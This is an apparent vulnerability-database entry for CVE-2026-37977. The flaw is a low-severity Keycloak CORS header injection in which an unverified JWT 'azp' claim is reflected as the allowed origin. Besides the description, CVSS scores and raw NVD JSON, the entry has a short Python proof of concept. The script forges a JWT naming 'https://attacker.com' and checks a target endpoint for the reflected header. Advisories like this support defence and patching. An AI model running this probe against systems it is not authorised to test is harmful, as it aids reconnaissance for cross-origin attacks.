Security Vulnerability Report
中文
CVE-2026-37977 CVSS 3.7 LOW

CVE-2026-37977

Published: 2026-04-06 09:16:18
Last Modified: 2026-04-24 15:39:22

Description

A flaw was found in Keycloak. A remote attacker can exploit a Cross-Origin Resource Sharing (CORS) header injection vulnerability in Keycloak's User-Managed Access (UMA) token endpoint. This flaw occurs because the `azp` claim from a client-supplied JSON Web Token (JWT) is used to set the `Access-Control-Allow-Origin` header before the JWT signature is validated. When a specially crafted JWT with an attacker-controlled `azp` value is processed, this value is reflected as the CORS origin, even if the grant is later rejected. This can lead to the exposure of low-sensitivity information from authorization server error responses, weakening origin isolation, but only when a target client is misconfigured with `webOrigins: ["*"]`.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:redhat:build_of_keycloak:-:*:*:*:-:*:*:* - VULNERABLE
Keycloak (具体受影响版本请参考官方安全通告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import jwt # Conceptual PoC for CVE-2026-37977 # Target URL (Keycloak UMA token endpoint) target_url = "https://target-keycloak.com/realms/master/protocol/openid-connect/token" # Attacker controlled domain malicious_origin = "https://attacker.com" # Create a fake JWT payload with 'azp' set to attacker's domain # The vulnerability allows reflecting this value before signature validation payload = { "azp": malicious_origin, "sub": "user", "exp": 9999999999 } # Encode a token (signing algorithm does not matter for this PoC concept) token = jwt.encode(payload, "secret", algorithm="HS256") # Send request to the endpoint data = { "grant_type": "urn:ietf:params:oauth:grant-type:uma-ticket", "request_token": token } response = requests.post(target_url, data=data) print(f"Status Code: {response.status_code}") # Check if the Access-Control-Allow-Origin header reflects the malicious origin if "Access-Control-Allow-Origin" in response.headers: if response.headers["Access-Control-Allow-Origin"] == malicious_origin: print("[+] Vulnerability Confirmed: CORS header reflected!") print(f"[+] Header: {response.headers['Access-Control-Allow-Origin']}") else: print("[-] CORS header not reflected as expected.") else: print("[-] No CORS header found.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-37977", "sourceIdentifier": "[email protected]", "published": "2026-04-06T09:16:17.850", "lastModified": "2026-04-24T15:39:21.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. A remote attacker can exploit a Cross-Origin Resource Sharing (CORS) header injection vulnerability in Keycloak's User-Managed Access (UMA) token endpoint. This flaw occurs because the `azp` claim from a client-supplied JSON Web Token (JWT) is used to set the `Access-Control-Allow-Origin` header before the JWT signature is validated. When a specially crafted JWT with an attacker-controlled `azp` value is processed, this value is reflected as the CORS origin, even if the grant is later rejected. This can lead to the exposure of low-sensitivity information from authorization server error responses, weakening origin isolation, but only when a target client is misconfigured with `webOrigins: [\"*\"]`."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:-:*:*:*:-:*:*:*", "matchCriteriaId": "E5C930CB-4EAD-497B-A44B-D880F2A1F85B"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-37977", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2455324", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}